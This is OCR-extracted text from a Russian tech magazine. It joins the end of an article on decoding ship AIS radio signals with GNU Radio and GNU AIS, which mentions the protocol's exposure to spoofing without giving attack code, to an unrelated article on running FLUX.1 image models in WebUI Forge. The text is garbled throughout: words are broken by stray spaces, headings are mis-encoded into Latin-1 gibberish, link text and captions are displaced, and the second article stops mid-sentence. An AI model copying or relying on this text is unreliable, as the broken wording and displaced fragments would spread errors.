1000001000101100000011100010010110000011100110101100 

Флаг окон чания сооб щения:

01111110 

Вы делим нули, встав ленные с помощью bit stuffing:

001100000000010111001000111101101000111100000010000000000000111010111
11[0]11000010011110101011100001010111001000010011011111[0]10100101101
1000001000101100000011100010010110000011100110101100 

Уби раем их:

001100000000010111001000111101101000111100000010000000000000111010111
111100001001111010101110000101011100100001001101111110100101101100000
1000101100000011100010010110000011100110101100 

В конеч ном сче те получа ем битовые дан ные без bit stuffing, готовые к декоди- 
рова нию. Не забыва ем про LSB и MSB: кон верти руем толь ко пер вый байт
в LSB, что бы получить тип сооб щения. Узна ем тип сооб щения, то есть пер- 
вые 6 бит:

00110000 -> [000011]00 

При перево де 000011 в десятич ную сис тему получа ем 3, то есть тип сооб- 
щения 3, а это переда ча позиции суд на.

Ñõåìà äëÿ Quadrature Demod
Схе ма с GMSK Demod име ет неп рият ную осо бен ность: в ней нет пол ного
кон тро ля над демоду ляци ей. Так как это цель ный блок, мы не можем отдель- 
но нас тро ить син хро низа цию сим волов и демоду ляцию. Что бы испра вить это,
мож но перей ти к более низ коуров невым бло кам: Quadrature Demod и Symbol
Sync. Оба этих бло ка — часть GMSK Demod, но их исполь зование поз волит
нам более деталь но изу чить про цесс демоду ляции.

Раз берем сле дующую схе му.

Схе ма с Quadrature Demod

Схе ма соз дана толь ко для одно го канала, начало соот ветс тву ет GMSK
Demod, КИХ-филь тр и ресем плер нас тро ены соот ветс тву ющим обра зом.
Схе ма выг лядит ина че, начиная с бло ка Quadrature Demod, который отве чает
непос редс твен но за квад ратур ную демоду ляцию.

Бла года ря пол ному кон тро лю над демоду ляци ей с помощью бло ков Time
Sink мы можем изу чать, как выг лядит сиг нал пос ле демоду ляции и как он выг- 
лядит пос ле син хро низа ции сим волов. Для это го необ ходимо вклю чить в нас- 
трой ках Time Sink панель управле ния, что бы мож но было изме нять харак- 
терис тики бло ка пря мо во вре мя его работы. Рас смот рим сиг нал пос ле
демоду ляции в бло ке Quadrature Demod.

Сиг нал пос ле бло ка Quadrature Demod

Как вид но, пос ле демоду ляции сиг нал ста новит ся похожим на что-то чита-
емое и декоди руемое. Для более точ ной демоду ляции необ ходимо син хро- 
низи ровать начало и конец битов, для это го исполь зует ся блок Symbol Sync.
Давай гля нем его вывод.

Сиг нал пос ле Symbol Sync

У сиг нала пос ле син хро низа ции дру гой вид, так как количес тво выборов было
умень шено с 4 до 1, но со сво ей задачей блок спра вил ся. Теперь сим волы
син хро низи рова ны по вре мени и мож но переда вать вывод в блок Binary
Slicer, который, исполь зуя спе циаль ные алго рит мы, прев ратит этот сиг нал
в битовую пос ледова тель ность и сох ранит в файл.

Ìå òîäû îòëàäêè
Эту схе му отла дить тяжелее, чем с GMSK Demod, так как в ней боль ше
парамет ров. Основной прин цип отладки — изме нение Gain у Quadrature
Demod и изме нение алго рит мов Symbol Sync. Это поз волит нам получить
пра виль ную син хро низа цию.

Çà ïóñê
Пос ле запус ка получа ем файл , который кон верти руем в тек сто вый
и методом из GMSK Demod про веря ем, есть ли там пре амбу лы со стар товым
фла гом.

88_quadra

GNU AIS
Так как декоди ровать руками биты — слож ная задача, перей дем к прог- 
раммам, которые могут сде лать это за нас. GNU AIS — это сво бод ный софт,
который поз воля ет декоди ровать двух каналь ный AIS-сиг нал из фай лов
или нап рямую из источни ков. Но преж де чем исполь зовать эту прог рамму,
необ ходимо кон верти ровать наш файл RAW IQ.

Ïðåîáðàçîâàíèå ôîðìàòà
Для пре обра зова ния фор мата я нашел схе му для GNU Radio. В ней нуж но
будет перес читать ресем пле ры, ты можешь сде лать это по ана логии с GMSK
Demod. Автор схе мы кон верта ции — .Алек сан дру Чете

Схе ма кон верта ции IQ-фай ла в фор мат, при год ный для GNU AIS

В работу схе мы вда вать ся нет смыс ла, так как все бло ки и прин ципы мы уже
изу чили. Пос ле запус ка сох раня ем файл  и перехо дим к уста нов ке

GNU AIS.

aisfifo

Óñòàíîâêà
GNU AIS — ста рый опен сор сный про ект, который не собира ется на новых
устрой ствах. Что бы испра вить эту проб лему, нуж но нем ного изме нить
исходный код, но для начала под готовим все необ ходимое.

Пер вое, что нуж но сде лать, — кло ниро вать GNU AIS и уста новить MySQL.
Уста нов ку MySQL я опи сывать не буду, так как для это го есть куча гай дов.
Оста новим ся на GNU AIS.

git clone https://github.com/rubund/gnuais 
cd gnuais/ 

Пе ред сбор кой нуж но нем ного испра вить код, а кон крет но файл 

, в котором нуж но заменить вот этот код:

./src/
out_mysql.h

  struct mysql_state_t {

вот этим:

   extern struct mysql_state_t {

Те перь мож но перехо дить непос редс твен но к сбор ке про екта.

apt install build-essential libasound-dev libcurl4-openssl-dev 
libmysqlclient-dev cmake pkg-config 
cmake .
make 

Как нас тро ить базу дан ных, опи сано в . Так же необ ходимо

будет ука зать логин и пароль для базы дан ных в фай ле . Пос ле
сбор ки появит ся файл , который, собс твен но, нам и нужен.

create_table.txt
gnuais.conf

./src/gnuais

Äåêîäèðîâàíèå AIS
Ко пиру ем файл  куда-нибудь, где он будет дос тупен GNU AIS,

и запус каем сле дующей коман дой:

aisfifo

./src/gnuais -c ./gnuais.conf -l /root/aisfifo 

Да лее получа ем деталь ный вывод фрей мов, которые уда лось успешно
декоди ровать, нап ример:

ch B type 3 mmsi 671407100: lat 25.267278 lon 55.297437 course 161 
speed 0.7 rateofturn 64 navstat 1 heading 54 (!AIVDM,1,1,,A,3:
0CKw50073u8Jt>MD;nBie40lLJ,0*60) 

Как вид но, GNU AIS авто мати чес ки пре обра зовал его в фор мат NMEA.

ÁÅÇÎÏÀÑÍÎÑÒÜ

Пос ле пол ного изу чения при ема AIS мож но сде лать нес коль ко выводов о его
безопас ности. Понят но, что про токол не под разуме вает какого-либо шиф- 
рования или под твержде ния источни ка, а это дела ет его уяз вимым для спу- 
фин га и дру гих похожих атак. Так как это очень серь езная проб лема,
в нулевых был раз работан про токол TESLA, который поз воля ет шиф ровать
сооб щения, иду щие друг за дру гом, но из-за сво ей неп рактич ности он
не нашел широко го при мене ния. Воен ные же выдели ли себе и сво им кораб- 
лям отдель ный канал AIS, который уже пол ностью зашиф рован.

На зем ным стан циям оста ется толь ко ста тис тичес кий ана лиз переда- 
ваемых дан ных. Нап ример, если суд но всег да име ло опре делен ный курс,
а потом дан ные начали показы вать, что оно идет сов сем в дру гом нап равле- 
нии, эти дан ные нуж но переп роверять, так как пираты тоже могут исполь- 
зовать AIS и мешать работе сис темы.

В целом сис тема очень ста рая, и накопи лось при лич ное количес тво
методов для ана лиза тра фика, но даже сей час, в мире, где есть ИИ и дру гие
инс тру мен ты для ана лиза, кораб ли могут изме нить нас трой ки сво их передат- 
чиков и пла вать сов сем не там, где сооб щают. Все эти ата ки я раз беру в сле- 
дующей статье, как и переда чу сво его сиг нала AIS.

http://oz9aec.net/
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Ког да в августе это го года выш ла модель
FLUX.1 [dev], некото рые поль зовате ли были
разоча рова ны излишне «циф ровым» видом
изоб ражений, отсутс твие негатив ных клю- 
чевых слов нак ладыва ло серь езные огра- 
ниче ния на потен циал модели, а повышен- 
ные тре бова ния к железу огор чили вла- 
дель цев виде окарт пре дыду щих поколе ний.
Эти и мно гие дру гие огра ниче ния были
успешно пре одо лены — но появи лись
новые.

ÏÎÄÄÅÐÆÊÀ FLUX Â WEBUI FORGE

WebUI Forge — интерфейс к Stable Diffusion, любимый мно гими за его
высокую ско рость и удобс тво исполь зования. Пер вая вер сия Forge выш ла
в фев рале 2024 года, пос ле чего мно го месяцев не получа ла обновле ний.
Дли тель ное отсутс твие раз работ ки при вело к соз данию фор ка ReForge,
который под робно опи сан в статье «

». Но вот ори гиналь ный раз работ чик Forge вер нулся —
и  круп ное обновле ние про екта. В спис ке изме нений — переход
на Gradio 4 (ста ло нем ного удоб нее, но ряд рас ширений перес тал работать),
исполь зование пос ледней вер сии PyTorch (ста ло еще быс трее), появ ление
двух сотен встро енных сти лей по при меру Fooocus того же авто ра (под- 
робнее — в ) и новый механизм рас пре деле ния виде опа- 
мяти, поз воля ющий дос тичь мак сималь но воз можной ско рос ти генера ции
на кон крет ном железе.

ReForge. Улуч шаем кар тинки, генери- 
руемые Stable Diffusion

анон сировал

мо ей статье о нем

Нас же инте ресу ет добав ление в WebUI Forge под дер жки модели FLUX.
Теперь мож но исполь зовать все воз можные вари анты модели от пол ноцен- 
ной 16-бит ной до 4-бит ной NF4. Более того, мож но отдель но выбирать VAE
и модель (или сра зу нес коль ко моделей) тек сто вого декоде ра.

Как это работа ет? Поч ти точ но так же, как любая дру гая базовая модель,
за исклю чени ем нового парамет ра Flux Distilled Guidance (в comfy/SwarmUI он
называ ется Flux Guidance Scale), о котором будет чуть ниже. Дос таточ но
перек лючить интерфейс в режим ux, выб рать модель из спис ка и ука зать
тре буемые VAE и тек сто вые декоде ры.

NF4, FP16, FP8, Q8, GGUF: Â ×ÅÌ ÐÀÇÍÈÖÀ?

Ес ли ты будешь поль зовать ся Flux, то силь но облегчишь себе жизнь, если
запом нишь, в чем раз ница меж ду раз личны ми пред став лени ями модели.

NF4 — это самый быс трый фор мат в пла не ско рос ти вывода резуль татов,
но и самый неп ред ска зуемый в пла не раз нооб разия ком позиции по срав- 
нению с дру гими фор матами.

GGUF — сжа тый фор мат, в котором может быть пред став лена модель.
В отли чие от фор мата safetensors, файл GGUF может содер жать толь ко одну
сеть (диф фузи онную или тек сто вый декодер). В рам ках фор мата GGUF все
вер сии Q8, Q6 и так далее вплоть до Q1 — это вари анты кван тования
моделей в поряд ке убы вания качес тва и тре бова ний к железу. GGUF — самый
мед ленный фор мат: при его исполь зовании в режиме реаль ного вре мени
пря мо во вре мя генера ции про изво дит ся рас паков ка час тей модели. Зато
качес тво таких моделей мак сималь но приб лижа ется к резуль татам фор матов
FP8 и FP16. GGUF сов местим со все ми виде окар тами, вклю чая GTX, а млад- 
шие вари анты мож но запус кать даже на виде окар тах с миниму мом памяти.

FP8 — вари ант с нес жатым 8-бит ным пред став лени ем. При этом аппа рат- 
ное уско рение вычис лений в фор мате FP8 под держи вает ся толь ко на кар тах
Nvidia, начиная с 40-й серии, из-за чего модель в FP8 будет генери ровать
кар тинку доль ше, чем пол ная модель FP16 (разуме ется, при усло вии, что обе
модели пол ностью умес тились в виде опа мять — что в слу чае с FP16 воз- 
можно лишь на топовых виде окар тах). Если же объ ема виде опа мяти недос- 
таточ но, что бы в него пол ностью помес тилась модель FP16, то FP8 соз даст
кар тинку быс трее.

Па радок саль ным обра зом для виде окарт семей ства RTX самым быс трым
с вычис литель ной точ ки зре ния фор матом явля ется FP16, а для ста рых
моделей GTX — и вов се FP32, который, разуме ется, нико им обра зом
не помеща ется в память этих моделей (раз мер модели Flux в пред став лении
FP32 — око ло 46 Гбайт).

По ско рос ти и точ ности работы модели соот носят ся :сле дующим обра зом

Êðè òåðèé Ðàí æèðîâà íèå

Точ ность FP16 >> Q8 > Q4

Точ ность для Q8
Q8_K (модель отсутс тву ет) > Q8_1
(модель отсутс тву ет) > Q8_0 >> FP8

Точ ность для Q4 Q4K_S >> Q4_1 > Q4_0

Точ ность для NF4
NF4 меж ду Q4_1 и Q4_0 (плюс/минус
из-за раз личия мет рик)

Ско рость (без выг рузки,
для виде окарт от 24 Гбайт
VRAM)

FP16 ≈ NF4 > FP8 >> Q8 > Q4_0 >>
Q4_1 > Q4K_S > про чие

Ско рость (с выг рузкой,
для виде окарт с 8–16 Гбайт
VRAM)

NF4 > Q4_0 > Q4_1 ≈ FP8 > Q4K_S >
Q8_0 > Q8_1 > про чие ≈ FP16

ØÏÀÐÃÀËÊÀ: ÊÀÊÈÅ ÔÀÉËÛ ÊÀ×ÀÒÜ

По жалуй, луч шим соот ношени ем качес тва, ско рос ти и сов мести мос ти обла- 
дают модели в пред став лении FP8 и фор мате safetensors. Модели
Q8_0 в пред став лении GGUF под держи вают ся пока не вез де. Если оста- 
новить свой выбор на пред став лении fp8/safetensors, нам понадо бят ся:
1. Диф фузи онная модель.  нуж но положить в пап ку, в которой лежат все

осталь ные базовые модели (нап ример, ).
В этой вер сии модели тек сто вые декоде ры и VAE уже встро ены, поэто му
ничего допол нитель ного качать не тре бует ся. Для исполь зования модели
дос таточ но будет выб рать ее из спис ка. Если же ты хочешь заполу чить
одну из моделей с аль тер натив ным кван товани ем (нап ример, Q8_0, качес- 
тво которой прак тичес ки неот личимо от пол ной вер сии FP16), то тебе при- 
дет ся ска чать целых четыре фай ла, раз ложив их по трем раз ным пап кам.

Файл
models/Stable-Diffusion

2.  (рекомен дую вари ант Q8_0) с сай та Huggingface.
Нуж но перемес тить в пап ку, в которой лежат все осталь ные базовые
модели (нап ример, models/Stable-Diffusion).

Мо дель в фор мате GGUF

3. Пара  (рекомен дую вер сию FP8) и CLIP_L. Нуж- 
но положить в пап ку .

тек сто вых декоде ров T5XXL
models/text_encoder

4. VAE:  с сай та раз работ чиков. Положить в пап ку
.

файл ae.safetensors
models/VAE

Пос ле запус ка WebUI Forge нуж но перек лючить веб-интерфейс в режим Flux
и выб рать из спис ка модель. Если выб ранная тобой модель — файл ux1-dev-
fp8.safetensors, то пос ле это го мож но сра зу запус кать генера цию. Если же
выб ран файл в фор мате GGUF, то в допол нитель ном поле при дет ся ука зать
пару тек сто вых декоде ров и VAE. В резуль тате вер хняя часть интерфей са
обре тет при мер но такой вид, как на скрин шоте ниже.

Те перь мож но нас тро ить раз решение кар тинки, уста новить чис ло шагов,
Distilled Guidance Scale (рекомен дую начать со зна чения 2) — и мож но
генери ровать кар тинки.

Да же если ты пред почтешь прос той путь (интегри рован ный файл модели
ux1-dev-fp8.safetensors), в будущем, веро ятно, тебе все же при дет ся
научить ся поль зовать ся отдель ными тек сто выми декоде рами и VAE: из-за
сущес твен но воз росше го по срав нению с SDXL объ ема декоде ров авто ры
новых моделей ста ли пуб ликовать как интегри рован ные вари анты, так и диф- 
фузи онные модели отдель но. Под клю чать диф фузи онные модели и декоде ры
по отдель нос ти не толь ко удоб но с точ ки зре ния опти миза ции исполь зования
виде опа мяти, но и сущес твен но эко номит мес то на дис ке.

WWW

(обсужде ние на GitHub)
Как заг рузить пол ную вер сию Flux в WebUI Forge

ÇÀÏÓÑÊÀÅÌ FLUX ÍÀ ÑÒÀÐÛÕ ÂÈÄÅÎÊÀÐÒÀÕ

В статье « »
под робно опи сан штат ный сце нарий исполь зования модели, для которо го
нуж но заг рузить исходные 16-бит ные веса, отдель ный VAE и фай лы тек сто вых
декоде ров (которые, впро чем, заг ружа ются авто мати чес ки). Пол ная модель
тяжело вата для обыч ных виде окарт; огра ниче нием выс тупа ет объ ем виде опа- 
мяти. Луч ше все го себя чувс тву ют вла дель цы виде окарт с 16 и более гигабай- 
тами виде опа мяти; с некото рым тру дом пол ная модель была втис нута и в
рам ки 12-гигабай тных моделей. Одна ко на руках у поль зовате лей огромное
чис ло виде окарт с 6 и 8 Гбайт виде опа мяти, и здесь опти миза ции бес силь ны.

FLUX.1 и SwarmUI. Генери руем кар тинки новой откры той моделью

Пер вый вари ант решения — кон верта ция модели в фор мат FP8. Чек пой- 
нты dev или schnell в вось мибит ном пред став лении на выбор мож но ска чать
с сай та раз работ чика comfy: , .Dev Schnell

Вось мибит ные вер сии модели под ходят для виде окарт с 12 Гбайт виде- 
опа мяти и менее; ско рость работы на кар тах с 8 Гбайт виде опа мяти доволь но
низ кая, но по край ней мере модель запус кает ся. Качес тво по срав нению
с 16-бит ными моделя ми стра дает нез начитель но, так как 8-бит ная кван- 
тизация отно сит ся не к качес тву финаль ного изоб ражения в фор мате PNG
или JPEG, а к точ ности пред ска заний (то есть 8-бит ная модель может
демонс три ровать огре хи при генера ции мел ких деталей, но харак терных
для 8-бит ных рас тро вых кар тинок арте фак тов ты, разуме ется, не уви дишь).

Эти модели нуж но помес тить в основную пап ку, в которой лежат все
базовые модели. В слу чае SwarmUI это пап ка ,

WebUI Forge — . Отдель ный VAE для этих вер сий

ска чивать не нуж но.

Models/StableDiffusion
models/Stable-diffusion

Раз работ чик WebUI Forge пошел еще даль ше, сде лав модель при год ной
для исполь зования даже на очень ста рых виде окар тах бла года ря новой тех- 
нологии кван тизации NF4. По утвер жде ниям раз работ чика, этот метод поз- 
воля ет зна читель но повысить про изво дитель ность на устрой ствах с огра- 
ничен ным объ емом виде опа мяти (6, 8, 12 Гбайт VRAM), обес печивая уско- 
рение от 1,3 до 4 раз по срав нению с исполь зовани ем фор мата FP8.

WWW

Flux.1-Dev v2 BNB NF4

Силь ная сто рона NF4 — ско рость: модели в этом фор мате работа ют зна- 
читель но быс трее, чем FP8, осо бен но на виде окар тах с мень шим объ емом
памяти и кар тах, не под держи вающих уско рение для фор мата FP8. Кро ме
того, раз мер модели в фор мате NF4 при мер но вдвое мень ше по срав нению
с FP8.

По сло вам раз работ чика, NF4 пре вос ходит FP8 в точ ности вычис лений
и обла дает луч шим динами чес ким диапа зоном: в отли чие от FP8, к которой
все коэф фици енты пред став лены с вось мибит ной дис кре тиза цией, NF4 поз- 
воля ет пре обра зовы вать тен зоры в ком бинацию фор матов oat32, oat16,
uint8 и int4, что обес печива ет повышен ную точ ность вычис лений. Поль зовате- 
ли Reddit выложи ли дос таточ ное количес тво срав нений, что бы сде лать вывод,
что в реаль нос ти ситу ация с NF4/FP8 далека от однознач ной; в каких-то слу- 
чаях луч ше показы вает себя один вари ант, в каких-то — дру гой. Одно несом- 
ненно: 4-бит ная модель дей стви тель но работа ет нам ного быс трее, если
запус кать ее на кар те с 6 или 8 Гбайт виде опа мяти.

Мо дели NF4 под держи вают ся как в новой вер сии WebUI Forge, так и в
SwarmUI ( ).ком мит cdbe239

На этом прог ресс не оста новил ся, и появи лись модели — как диф фузи- 
онная, так и тек сто вого декоде ра, пред став ленные в сжа том виде с умень-
шен ной раз рядностью.

Терминология: текстовые декодеры и квантизация моделей
Тек сто вый декодер — суб модель, которая час то (в слу чае SD 1.5 и SDXL —
всег да) вклю чает ся в файл основной модели. Исполь зует ся для пре обра- 
зова ния тек сто вого зап роса в токены (мно гомер ные чис ловые век торы, ука- 
зыва ющие нап равле ние в латен тном прос транс тве), необ ходимые
для генера ции изоб ражений. Модели ИИ не рас позна ют вво димые зап росы
нап рямую, они понима ют толь ко токены.

Модели и текстовые декодеры

 толь ко CLIP-L. В сос тав моделей вхо дят так же U-Net и VAE.• SD 1.5:

 CLIP-L и CLIP-bigG. Эти декоде ры вхо дят в сос тав фай ла модели.• SDXL:

 может работать с CLIP-L, CLIP-bigG и T5XXL, но T5XXL мож но и не
исполь зовать, что сни жает точ ность сле дова ния зап росу.

• SD 3:

 CLIP-L и T5XXL. Изна чаль но модель была дос тупна в виде отдель ных

фай лов диф фузи онной модели, тек сто вого декоде ра и VAE, которые,
в свою оче редь, могут кван товать ся раз ными спо соба ми (об этом ниже).
В даль нейшем появи лись интегри рован ные модели, а еще чуть поз же раз- 
работ чики ста ли воз вра щать ся к прак тике пуб ликации отдель ных суб- 
моделей: раз мер декоде ров Flux очень боль шой, вари антов кван тования
боль ше одно го, фор матов сжа тия — тоже, и поль зовате лям пред лага ется
самос тоятель но соб рать себе пол ную модель из ком понен тов, которые
под держи вают ся на кон крет ном железе.

• Flux:

Квантование текстовых декодеров T5XXL
Из началь но были дос тупны два вари анта это го декоде ра: FP16 и FP8.

T5XXL-fp16 точ нее, но тре бует боль ше виде опа мяти.•
T5XXL-fp8 менее точен, но менее тре бова телен к обо рудо ванию.•

Со вре менем появи лись , кван тован ные дру гими спо соба ми. Раз- 
ницу меж ду вари анта ми кван тования декоде ра мож но пос мотреть в 

 или в  на Reddit.

ва риан ты
фо тоаль- 

боме об сужде нии
 тек сто вый декодер T5 в вер сии XXL

исполь зует ся как в Stable Diffusion 3 (опци ональ но), так и в моделях Flux.
А раз работан этот декодер ком пани ей Google.

Èí ôîðìà öèÿ ê ðàç ìûøëå íèþ:

Квантование диффузионных моделей
Ва риан тов кван тования диф фузи онных моделей Flux тоже . Самые
точ ные 32-бит ные модели (FP32) полез ны толь ко для обу чения; исполь зовать
их для генера ции изоб ражений — избы точ но. Мак сималь но дос тупная
для локаль ного исполь зования модель Flux — 16-бит ная; резуль тат работы
сжа той модели с кван товани ем Q8_0 прак тичес ки невоз можно отли чить
от ори гина ла, а виде опа мяти она тре бует мень ше. Еще мень ше виде опа мяти
пот ребля ет модель FP8; даль нейшее умень шение раз ряднос ти моделей все
силь нее вли яет на качес тво.

мно жес тво

 фор мат, отличный от при выч ного safetensors. В нем сох- 

раня ют кван тован ные диф фузные модели; тек сто вые декоде ры и VAE нуж но
под клю чать отдель но. Сей час для Flux дос тупны все вари анты от 16-бит ной
до 2-бит ной Q2_K вклю читель но.

Ìî äåëè GGUF:

Та ким обра зом, в нашем рас поряже нии уже поч ти пол тора десят ка вари- 
антов кван тования диф фузи онной модели и столь ко же — декоде ра T5XXL.

 если железо поз воля ет, исполь зуй ори гиналь ную 16-
бит ную модель Flux с сай та раз работ чиков. Для более сла бого железа
отлично под ходит модель Q8_0; раз ницы с пол ной моделью ты, ско рее все го,
не заметишь. Для еще более сла бого железа подой дет вари ант FP8,
у которо го еще ниже тре бова ния к виде опа мяти. Модели с более силь ным
сжа тием замет но вли яют на резуль тат, не осо бен но сни жая тре бова ния
к железу (не забыва ем, что тек сто вый декодер все рав но будет занимать
замет ную часть виде опа мяти).

Â ñóõîì îñòàòêå:

Поль зователь Huggingface с ником city96 скон верти ровал модель Flux в 
 во всех воз можных вари антах.

пред- 
став ление GGUF

Ска чать сжа тую диф фузи онную модель мож но ; рекомен дую
вер сию Q8_0. Срав нение качес тва — .

с Huggingface
на Reddit

Кро ме того, мож но  и сжа тую вер сию тек сто вого декоде ра (при
исполь зовании WebUI Forge класть в пап ку models/text-encovers).

ска чать

WARNING

На момент написа ния статьи WebUI Forge под- 
держи вает диф фузи онные модели в пред став- 
лении GGUF, но тек сто вые декоде ры в GGUF
не рас позна ет. Веро ятно, их под дер жка появит ся
в бли жай шие дни; до тех пор мож но исполь зовать
декодер T5 в пред став лении FP8. Под дер жка
GGUF появи лась в CombyUI и SwarmUI сов сем
недав но; декоде ры в этом фор мате нуж но класть
в пап ку SwarmUI/Models/clip, пос ле чего декодер
появит ся в виде дос тупной опции на вклад ке
Advanced Model Addons.

Что ж, с тре бова ниями к виде опа мяти и запус ком модели в WebUI Forge
разоб рались; перей дем к решению дру гих проб лем модели Flux.

ÐÅØÅÒÊÀ ÍÀ ÏËÀÂÍÛÕ ÃÐÀÄÈÅÍÒÀÕ

В некото рых (далеко не во всех) генери руемых изоб ражени ях, осо бен но
в мак сималь ном раз решении модели, в области плав ных перехо дов и гра- 
диен тов Flux может соз давать сво еоб разную «решет ку», которая выг лядит,
как блоч ные арте фак ты ком прес сии наподо бие JPEG. Одна ко это не
они — хотя как знать; воз можно, подоб ные арте фак ты при сутс тво вали
на изоб ражени ях, на которых обу чали модель.

Бо лее веро ятна вер сия, что мы наб люда ем так называ емые patch embed
artifacts. Генера тив ные модели ИИ типа DiT в силу сво ей архи тек туры могут
демонс три ровать иска жения (арте фак ты), воз ника ющие при обра бот ке пат- 
чей изоб ражения. Это озна чает, что даже при пра виль ной нас трой ке и обу- 
чении модели такие арте фак ты могут быть неиз бежны ми и тре буют спе циаль- 
ных методов для их миними зации или исправ ления.

Патчи
В кон тек сте генера тив ных моделей ИИ изоб ражения делят ся на неболь шие
учас тки (пат чи), которые затем про ходят через про цесс встра ива ния
(embedding). Арте фак ты могут быть визу аль ными или чис ловыми иска жени- 
ями или осо бен ностя ми, воз ника ющи ми из-за это го про цес са. Нап ример,
арте фак ты могут про являть ся как гра ницы меж ду пат чами, что и при водит
к наб люда емо му визу аль ному эффекту.

В рам ках самой модели без болез ненно го спо соба испра вить арте фак ты пока
не най дено; вклю чение опции Rener Do Tiling в нас трой ках вто рого про хода
или апскей ла хоть и помога ет изба вить ся от этих арте фак тов, но, как и ука- 
зано в опи сании-под сказ ке к этой опции, прив носит дру гие.

Проб лему мож но попытать ся обой ти, сни зив выход ное раз решение кар тинки
до 1К, а потом вос поль зовать ся апскей лом. Если же хочет ся при менять
модель в ее мак сималь ном раз решении, то единс твен ный най ден ный
на сегод ня спо соб — исполь зовать для апскей ла какую-нибудь хорошую
модель SDXL. Помимо избавле ния от блоч ных арте фак тов, исполь зование
такой модели для апскей ла спо соб но повысить качес тво и детали зацию мел- 
ких тек стур; сам про цесс апскей ла работа ет при этом быс трее, чем если
повышать раз решение самой моделью Flux.

Не дос татки у это го спо соба тоже есть. Нем ного (или силь но, в зависи мос- 
ти от зна чения парамет ра Rener Control Percentage) меня ются детали ком- 
позиции (нап ример, могут пос тра дать паль цы рук). Еще раз напом ню, что
при исполь зовании для апскей ла модели SDXL необ ходимо вклю чить опцию
Rener CFG Scale, уста новив зна чение от 5 до 7 (стан дарт для моделей
SDXL). И не забудь вклю чить основной перек лючатель спра ва от над писи
Rene/Upscale.

Продолжение статьи →
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ФИШКИ FLUX.1
ДОБИВАЕМСЯ ЛУЧШИХ КАРТИНОК

ОТ НОВОЙ ГЕНЕРАТИВНОЙ
МОДЕЛИ

GEEK  НАЧАЛО СТАТЬИ←

ÃÅÍÅÐÈÐÓÅÌ ÊÀÐÒÈÍÊÈ Â ÐÀÇÐÅØÅÍÈÈ 2Ê

У модели FLUX.1 [dev] «род ное» раз решение — 2К. То есть «квад ратом
по умол чанию» явля ется не 1024 ✕ 1024, а 1440 ✕ 1440 (со все ми про- 
изводны ми — при исполь зовании соот ношения сто рон, отлично го от 1:1).
SwarmUI об этом не зна ет, но метадан ные модели лег ко отре дак тировать
вруч ную на вклад ке Models, пос ле чего все соот ношения сто рон авто мати- 
чес ки будут перес читывать ся исхо дя из ука зан ного раз решения.

INFO

Ес ли ты отре дак тиру ешь метадан ные модели
вруч ную, то в нас трой ках апскей ла сто ит ука- 
зывать повыше ние раз решения
в 1,4 или 1,5 раза, а не вдвое.

ÄÅËÀÅÌ ÊÀÄÐÛ ÈÇ ÔÈËÜÌÎÂ: 16:9

Flux под держи вает генера цию кад ров с соот ношени ем сто рон 16:9 и раз- 
решени ем 1920 ✕ 1080 непос редс твен но, без апскей ла. При выборе это го
раз решения ком позиция кад ра может менять ся в сто рону некото рой кинош- 
ности; воз можно, в таком соот ношении сто рон в обу чающей базе модели
при сутс тво вали скрин шоты из филь мов.

ÍÅÃÀÒÈÂÍÛÅ ÊËÞ×ÅÂÛÅ ÑËÎÂÀ

Од ним из серь езных огра ниче ний Flux ста ло отсутс твие под дер жки негатив- 
ных клю чевых слов. Это свя зано с рекомен даци ей раз работ чиков исполь- 
зовать параметр CFG в зна чении 1. С этим зна чени ем негатив ные клю чевые
сло ва не работа ют ни в одной модели, вклю чая Flux.

Как работают негативные ключевые слова
При исполь зовании парамет ра CFG, отлично го от еди ницы, модель генери- 
рует пред ска зания дваж ды — один раз на осно ве cond prompt (основной зап- 
рос) и один раз на осно ве uncond prompt (может содер жать как негатив ные
клю чевые сло ва, так и прос то шум или пус той зап рос). Параметр CFG
управля ет тем, нас коль ко силь но учи тывать cond prompt по срав нению
с uncond prompt; раз ница меж ду эти ми дву мя пред ска зани ями уве личи вает ся
в зависи мос ти от величи ны CFG scale. Если CFG = 1, то uncond прос то
не генери рует ся, что вдвое сок раща ет вре мя генера ции.

Итак, раз работ чики FLUX.1 [dev] рекомен дуют всег да исполь зовать CFG рав- 
ный еди нице, что, с одной сто роны, явля ется «род ной» кон фигура цией
модели и сок раща ет вре мя генера ции (напом ним, модель — тяжелая,
генера ция доволь но мед ленная), а с дру гой — не поз воля ет исполь зовать
негатив ные клю чевые сло ва.

Спус тя корот кое вре мя поль зовате ли наш ли сра зу нес коль ко спо собов
обой ти это огра ниче ние, но работать они будут толь ко в вер сии [dev]; «дис- 
тилли рован ная» вер сия schnell под дер жки негатив ных клю чевых слов
не получи ла.

Ñïîñîá 1: Flux Guidance Scale
Ус танав лива ем CFG = 1,8, Flux Guidance Scale = 2,3, и негатив ные клю чевые
сло ва начина ют работать. Обратная сто рона медали: генера ция про исхо дит
вдвое мед леннее, зато в качес тве допол нитель ного бонуса модель ста новит- 
ся гораз до более отзывчи вой к токенам, опи сыва ющим сти лиза цию кар тинки.

Ñïîñîá 2: Dynamic Thresholding
Даль нейшее повыше ние парамет ра CFG неиз бежно при водит к «выгора нию»
кар тинки, одна ко бороть ся с «выгора нием» вследс твие высоких зна чений
CFG раз работ чики дав но научи лись, исполь зуя динами чес кое мас шта биро- 
вание.

При мер «выгорев шей» кар тинки с CFG = 2 и дефол тным Flux Distilled
Guidance = 3.5

Так что мож но прос то уве личить параметр CFG, ука зав, нап ример, зна- 
чение 4, и исполь зовать встро енный инс тру мент Dynamic Thresholding
(DynamicCFG), для которо го нуж но точ но подоб рать парамет ры. Недос татки
те же; допол нитель но стра дает реалис тичность (лечит ся умень шени ем Flux
Guidance Scale из пер вого вари анта решения), а в некото рых изоб ражени ях
замече но падение качес тва кар тинки (которое ком пенси рует ся вто рым про- 
ходом или апскей лом). Рекомен дую начать с нас тро ек, как на скрин шоте
ниже.

Поль зовате ли comfy могут  готовый ворк флоу с сай та Сivitai.ска чать

Ñïîñîá 3: Perp-Neg
Поль зователь Reddit пред лага ет такое , исполь зующее ноду Perp-
Neg (perpendicular component of the negative prompt) в ComfyUI. К сожале нию,
прос того спо соба вклю чить эту ноду в SwarmUI я не нашел, но поль зовате лям
Comfy она дос тупна.

ре шение

ÐÀÑÊÐÛÂÀÅÌ ÊÐÅÀÒÈÂÍÎÑÒÜ ÌÎÄÅËÈ

Поль зовате ли сра зу обра тили вни мание, что из модели убра ли под дер жку
мно жес тва сти лей и имен худож ников. Одна ко недав но в SwarmUI был добав- 
лен параметр Flux Guidance Scale (он же Flux Distilled Guidance) из вклад ки
